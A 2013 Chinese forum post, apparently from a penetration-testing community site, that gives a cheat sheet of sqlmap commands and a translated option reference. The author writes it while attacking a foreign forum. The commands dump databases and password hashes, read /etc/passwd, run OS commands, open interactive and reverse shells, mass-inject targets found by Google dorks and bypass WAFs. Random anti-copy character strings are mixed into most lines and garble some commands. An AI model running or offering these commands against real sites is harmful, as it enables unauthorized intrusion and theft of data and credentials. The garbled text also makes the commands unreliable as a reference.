中国网络渗透测试联盟

标题: sqlmap注入命令的使用方法 [打印本页]

作者: admin    时间: 2013-4-4 22:26
标题: sqlmap注入命令的使用方法
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、2 l8 J% ^7 E) G$ i- ^0 d3 R
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
. M3 g9 f2 L$ g4 B: K, \/ Nsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
1 b1 X) F! U6 jsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段/ e! z3 b  i3 E" i  Q) {' A- S( u! X* Y

7 T4 f' ?' f3 w0 Y& \sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
8 _; Y4 _) @" B9 ^0 #获取字段内容
) `+ T5 k* O7 e" w! Y+ a% C/ b) Q 8 k. I8 B& [( d  t) }1 c' t+ ^
******************信息获取******************" ~4 w' d* T- Q1 e
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型. J4 X- k) B* u
sqlmap -u “http://url/news?id=1″ –users #列数据库用户* E' R* x# q& n- b
sqlmap -u “http://url/news?id=1″ –dbs#列数据库+ [8 W: f" y) W( T
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码0 Y: q: B* H/ z; J% p: O! j
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
7 `1 Z7 L1 X3 Usqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
) T. `$ d5 g; r; S4 P- i- u7 C–start 1 –stop 20 #列出指定字段,列出20 条
9 a( r. Z$ b& P* o* l% H( H9 H0 Ysqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
) v: T) v7 X6 l6 Isqlmap -u “http://url/news?id=1″ –privileges #查看权限0 w4 j  x4 w) l5 H8 Z" x* q
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色2 X  S/ X4 U' R5 j
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
" L' p! W2 o# a+ zsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
5 X, w. P9 {; h8 |& C- Z) ]9 ?sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录' k' Z4 O/ Q" k5 W8 {- R8 i
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
1 N2 I# `6 T7 }1 ~sqlmap -u “http://url/news?id=1″-b #获取banner信息: l& f  ^/ h7 h3 T( ?
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
( v+ {; `6 R; ?) zsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型. h. [% K% f$ ^, \; o; Y/ n
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入- P: S1 A( g& F! W$ e4 a9 F8 `% t
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词, S; S6 C- D% R  r- g: D
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
( ~) N' P% {" wsqlmap -u “http://url/news?id=1″ –file /etc/passwd
2 Z  q" p+ |0 h/ xsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令& @4 G3 b7 o" m7 s  A
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell/ n# e0 [  Y5 q3 \
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
# A3 d$ t; ], S: {2 I3 Isqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度+ r) L1 j! P: D8 e
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度  _7 `+ R$ x4 @* P  ]7 Y: P1 q* s, [
***********高级用法*************- J4 _1 E; ^+ |' ]  t* a$ M) G3 b# P
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
) B- g& L$ l9 J, [* j# usqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
' k  ]& H+ n; E/ P* f–technique   测试指定注入类型\使用的技术( r, k+ y( D0 O6 F8 o5 E" q
不加参数默认测试所有注入技术3 z' i- H) ]0 P3 J* W
•     B: 基于布尔的SQL 盲注
, x0 Y9 y1 h/ I0 l3 C•     E: 基于显错sql 注入
* Y2 C/ ^9 S8 K5 f: l" h•     U: 基于UNION 注入
' q( L- a$ a7 y( T6 x- ]•     S: 叠层sql 注入
( Y9 x, K0 c+ J* _9 _; q, ^•     T: 基于时间盲注
% ~: Z; J$ p1 \–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char(); }6 ~& P* S1 S  E4 d1 t( I
–tamper 插件所在目录0 ?( w$ ^$ U5 q2 `0 h  R: M1 h
\sqlmap-dev\tamper
$ a) F2 s/ z6 L+ G* vsqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能/ E0 T) u7 `: H
level 执行测试等级 攻击实例:
* N" B- G2 ]0 ^2 e( k# g$ e/ ~6 YSqlmap -u “http://url/news?id=1&Submit=Submit”
1 O/ O) H+ I$ l0 r3 l( Y–cookie=”PHPSESSID=41aa833e6d0d
4 U5 g# |7 r/ P6 H% h1 H! ~28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
: N3 Q- F4 B  J* A–password
& z/ _/ ?; e# e9 Z参考文档:http://sqlmap.sourceforge.net/doc/README.html
" c6 x' z, a4 |! r1 `$ ^4 l: \***********安装最新版本*************
9 b- w1 z9 v7 O( Q% {  V- R1 uubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版. g9 n* Z$ n4 ?2 b; D7 L
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev4 S& n1 l: e$ Q6 P( Z; Z3 ]3 c: H
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件" x& O5 f  w, @# Q# }
sudo vim /home/当前用户/.bashrc
9 e4 b& ], n7 x6 r#任意位置加上:- K: u# ]3 C. ?+ u8 f0 H/ C
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效; }2 r- F3 j0 l9 l3 E& \
如果想对所有用户有效 可设置全局 编辑下面的文件$ D: {: p; q0 N' m* I( O
vim /etc/profile6 a, R* G7 i0 u- a0 M/ t  u) y
同样加上:
" J& q9 T6 }( falias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效  @, d  Y7 x6 F' m9 L
******************windows 7 (x64) sqlmap install (SVN)************; s8 ]7 l5 o/ p, ?; ?! Z
http://www.python.org/getit/ 安装python6 q, a* A7 I/ Z: Z. N) \
http://www.sliksvn.com/en/download 安装windows svn client
+ W6 {' ~5 ^# p% rsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev; n- v- Y0 {  j2 r6 r3 l5 L( o
安装sqlmap
% l7 }$ w7 {# y" ?5 T*修改环境变量( f  o' H# f! {2 r& t) l/ v) Z
–version             显示程序的版本号并退出
1 x& X5 J" s/ n-h, –help            显示此帮助消息并退出5 x8 o. z, r9 |/ X/ U% q
-v VERBOSE            详细级别:0-6(默认为1)( _$ m* Y7 J* ^* L8 j# Z2 v' n/ C
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
/ h3 x9 Q" H+ E- w-d DIRECT           直接连接到数据库。
5 D' ~4 ~4 T" q+ h1 {( @; n7 U) r+ {-u URL, –url=URL   目标URL。
/ D5 H  o3 r. E* J-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
- V( a4 e) o8 B' @1 ^4 q! q-r REQUESTFILE      从一个文件中载入HTTP 请求。( b1 z3 F" s! s2 E- Z
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
* Y( k' a% i# J7 i4 U7 Z' l-c CONFIGFILE       从INI 配置文件中加载选项。! M9 o2 e4 M$ u) r
Request(请求)::
( N6 ~  J6 Q4 k  }0 P8 C. E) u这些选项可以用来指定如何连接到目标URL。
  j' ?* V) W+ a# U6 O–data=DATA         通过POST 发送的数据字符串
3 j% u7 _* n# P+ y–cookie=COOKIE     HTTP Cookie 头9 A6 d; Q& P; l6 I, \7 ^
–cookie-urlencode  URL 编码生成的cookie 注入
- [  H* F# |0 ^. }1 O–drop-set-cookie   忽略响应的Set –Cookie 头信息
/ G/ W" @! n/ L
* c# G9 W$ o8 F! y7 E–user-agent=AGENT  指定  HTTP User –Agent 头4 n6 M, R4 _  b
–random-agent      使用随机选定的HTTP User –Agent 头8 m& s) H' C- i7 B  T2 }
–referer=REFERER   指定  HTTP Referer 头: k2 U* s6 A0 C- ?- a
–headers=HEADERS   换行分开,加入其他的HTTP 头
, M$ Y9 ?) n" K- B# F1 X% R–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
* G1 r! Q2 D! J8 m, l- G–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)7 F/ E2 k/ }1 h
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file), W! X5 S, |! g) H+ L; p
–proxy=PROXY       使用HTTP 代理连接到目标URL! `9 ~3 R: M: T/ i% m
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)( b6 E. h3 W7 [9 ^7 J
–ignore-proxy      忽略系统默认的HTTP 代理
* N2 m5 X/ {& \–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒6 b# U& ]' k7 z1 {$ c( M' o
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)
: Q, R  W  T6 R# z- ~- R) E–retries=RETRIES   连接超时后重新连接的时间(默认3). O, }+ R4 _3 ^. d2 e) Q
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式0 L7 n) c/ f9 j  }* T8 E
–safe-url=SAFURL   在测试过程中经常访问的url 地址( x7 d& j4 Z+ F6 y$ H7 M
–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL7 z# ~* M$ H6 m- v7 d8 ], z
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
' k, `" f5 J7 e. P-o                  开启所有优化开关3 m2 ?+ v) \0 B7 t: h/ u* R
–predict-output    预测常见的查询输出
6 G# S2 t5 Q- h2 S7 [. j1 b# k–keep-alive        使用持久的HTTP(S)连接
) j  N+ R; `  a4 F( }  Z) u0 Y–null-connection   从没有实际的HTTP 响应体中检索页面长度( E/ M2 @# J5 z3 U: _( d1 Q; G
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
* x* x! }6 n8 _" q( t+ K) gInjection(注入):7 b; Y/ e% x9 k, ~5 V
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
" H6 t, g3 [) c- ?, g# y+ ~-p TESTPARAMETER    可测试的参数(S)
/ }5 @1 Q6 |+ B) Y–dbms=DBMS         强制后端的DBMS 为此值
6 v" ?  q! [. T  B3 c" f–os=OS             强制后端的DBMS 操作系统为这个值
" Q: B: _- F0 a: c) z' v* s! H2 L–prefix=PREFIX     注入payload 字符串前缀
. R- y0 j. K- g, n7 u2 F4 K6 B' s–suffix=SUFFIX     注入 payload 字符串后缀
2 {0 |; R7 G! q8 H–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
/ q5 g) ~, K( C) i7 D1 t* Y/ mDetection(检测):  I+ B' u- s" s( ~# Y
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
, k2 Q. A8 L/ f8 A$ D% F–level=LEVEL       执行测试的等级(1-5,默认为1)
/ m. G) |" Q" }8 G  y- D# o4 X4 Q' B–risk=RISK         执行测试的风险(0-3,默认为1)
$ `, C2 \( V9 B8 U+ K–string=STRING     查询时有效时在页面匹配字符串
8 K, n, X: ?5 B–regexp=REGEXP     查询时有效时在页面匹配正则表达式
* w- G) ]+ O: A  H–text-only         仅基于在文本内容比较网页
3 R3 ]1 u3 L  _8 ^; WTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。8 W5 I% H7 g0 @- K: r- E: g" k9 N# @
–technique=TECH    SQL 注入技术测试(默认BEUST)
- x& S7 Y5 a8 u( L& d–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒): W6 `+ }9 c* R8 R: {1 y
–union-cols=UCOLS  定列范围用于测试UNION 查询注入  |+ S# x% ~+ r' `  z
–union-char=UCHAR  用于暴力猜解列数的字符
) w, U  w+ k3 Z  C& H9 YFingerprint(指纹):
( E2 b) k) w, T  I' _-f, –fingerprint     执行检查广泛的DBMS 版本指纹
' m6 U$ `3 V* f: R& NEnumeration(枚举):
- t' y" [7 D( m& h3 `3 y1 j$ x ; y5 J2 n5 O4 [* W! }; N
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
/ q9 |# z  V$ s! [; `- [-b, –banner        检索数据库管理系统的标识+ y9 k1 m/ O" D- r9 J9 T: n
–current-user      检索数据库管理系统当前用户
8 R0 X: R, t& [( u5 }* D–current-db        检索数据库管理系统当前数据库, y8 W5 r1 h# E0 Z: d
–is-dba            检测DBMS 当前用户是否DBA3 R% E: g1 w4 X4 F
–users             枚举数据库管理系统用户  s: f6 N* U0 c3 _5 J% O
–passwords         枚举数据库管理系统用户密码哈希
' j, g% m2 B- e) O& z- _9 |–privileges        枚举数据库管理系统用户的权限
5 s6 i( W& t$ F' i* |9 A& @! K–roles             枚举数据库管理系统用户的角色
8 S  W$ v! d. K; t. }& A–dbs               枚举数据库管理系统数据库8 o  e  Z0 N8 P1 u; [" c* r
–tables            枚举的DBMS 数据库中的表  |& Q5 A* [$ V% O2 I
–columns           枚举DBMS 数据库表列
3 }3 v( P* C3 G8 \, \–dump              转储数据库管理系统的数据库中的表项' s' O9 ^) p5 M& _- N' U" n+ c0 Z
–dump-all          转储所有的DBMS 数据库表中的条目: l" ]0 r: i6 U: A2 N1 Z- H9 W
–search            搜索列(S),表(S)和/或数据库名称(S)( y# t, n7 f, x3 D+ M) o7 G2 G
-D DB               要进行枚举的数据库名' \, E# u9 B+ s# b6 y  n# y  r& m
-T TBL              要进行枚举的数据库表2 m/ n$ ?. T* S2 S' m5 e& l
-C COL              要进行枚举的数据库列
$ W4 h4 j* E- E( T: ?8 r) v% }" @$ g-U USER             用来进行枚举的数据库用户1 W" e, O2 r6 \) G; ]
–exclude-sysdbs    枚举表时排除系统数据库. M2 o, `7 M/ K0 S* B) l
–start=LIMITSTART  第一个查询输出进入检索
6 {1 ?* t8 U  s' j; l: Q& X–stop=LIMITSTOP    最后查询的输出进入检索
2 i# t7 w) h; J: c–first=FIRSTCHAR   第一个查询输出字的字符检索' V7 R% S1 `3 W* D& @3 q! Y
–last=LASTCHAR     最后查询的输出字字符检索
, e7 T; W5 b$ C4 y0 ]–sql-query=QUERY   要执行的SQL 语句
; d' }8 B1 u( n+ W/ I/ s% }–sql-shell         提示交互式SQL 的shell
( D" \8 e5 T8 W2 t5 YBrute force(蛮力): 这些选项可以被用来运行蛮力检查。' ~8 K+ u0 |$ _& x
–common-tables     检查存在共同表' g& R. l% I8 v: n% P, j9 V
–common-columns    检查存在共同列4 k' [2 S2 Y4 B1 V3 L
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。
# b, f5 S4 B# [' i–udf-inject        注入用户自定义函数) }. z1 K1 j7 M7 @
–shared-lib=SHLIB  共享库的本地路径; [. s! y) P) V* i  w' W
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。6 A4 J; t, |* d, t
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件$ G1 E- ^) m3 R  ~# m& r9 K, J
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件
# F/ e8 i! C1 L–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径$ F. B7 r7 y8 f2 q( R
Operating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。5 H6 g9 j( F0 D& J4 F* C
–os-cmd=OSCMD      执行操作系统命令
. D# u- f( z6 n' J* B' E$ `–os-shell          交互式的操作系统的shell0 p* F  c$ I1 z* W( n
–os-pwn            获取一个OOB shell,meterpreter 或VNC! v$ `6 I+ v& h0 h5 [& C! a1 t
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
( x2 \; W. H2 n! G5 h" f7 ~–os-bof            存储过程缓冲区溢出利用
8 R% Z- m6 ^3 h! T; p' G5 n3 p# M6 Z–priv-esc          数据库进程用户权限提升
" s+ X- {/ W; Z6 E7 C–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
) v3 g7 _! C$ V. T–tmp-path=TMPPATH  远程临时文件目录的绝对路径
5 {0 p, Y4 T. I" b* y7 r7 Q5 E
) s: f6 I0 u3 {* Z+ U, TWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。5 O" H6 U! C( K! o, n/ y; v# R/ f* q
–reg-read          读一个Windows 注册表项值% H% g! `7 Y) t( ~& r1 r1 T8 O
–reg-add           写一个Windows 注册表项值数据
1 D. y; ^3 f; b–reg-del           删除Windows 注册表键值2 Z- O2 V2 a1 t2 ^9 U8 ?  N
–reg-key=REGKEY    Windows 注册表键+ w9 B8 s0 b# ?4 `$ _# k1 o
–reg-value=REGVAL  Windows 注册表项值  L9 v  m3 P/ h, f/ M
–reg-data=REGDATA  Windows 注册表键值数据
. t# d# {+ E. ]* ?- w- F–reg-type=REGTYPE  Windows 注册表项值类型; w+ R0 n$ b; D. `" Y% v! {7 W5 E- K
General(一般): 这些选项可以用来设置一些一般的工作参数。% z  v& X+ S; R# \* }6 s6 c& U8 |0 h
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
9 a+ j2 `5 Q1 P: D-s SESSIONFILE      保存和恢复检索会话文件的所有数据
1 W0 s6 d8 o8 a" P# |' ^5 N–flush-session     刷新当前目标的会话文件- r% U0 G2 a! _9 u# u3 p$ s
–fresh-queries     忽略在会话文件中存储的查询结果0 }2 H7 C3 Z. D. ~$ E
–eta               显示每个输出的预计到达时间4 F9 o/ C- S3 C9 H$ P
–update            更新SqlMap
- G4 }" S9 S5 s* A9 i6 O9 ^–save              file 保存选项到INI 配置文件$ J0 J6 b9 d  f1 [
–batch             从不询问用户输入,使用所有默认配置。
, v. k4 z- d+ i7 K3 s4 R  tMiscellaneous(杂项):
) X2 z7 P( \$ i: Z! [& c& D–beep              发现SQL 注入时提醒" q; H8 P; @9 s" o
–check-payload     IDS 对注入payloads 的检测测试
- V" S1 `4 u5 Z–cleanup           SqlMap 具体的UDF 和表清理DBMS# _7 q; ?& o3 D' x/ }, S7 O/ {
–forms             对目标URL 的解析和测试形式
7 L* v! [" F* J* g& l–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果* P' d$ w$ f( X' C) E
–page-rank         Google dork 结果显示网页排名(PR)
) D5 d/ T: _9 U' m  m6 s" ^9 y–parse-errors      从响应页面解析数据库管理系统的错误消息5 A' l' j! C  n5 i5 j( R8 j, {& B
–replicate         复制转储的数据到一个sqlite3 数据库1 S/ |& t7 p2 I8 l
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址* n9 D! M" w" l& C: y4 d1 N( D! }
–wizard            给初级用户的简单向导界面




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2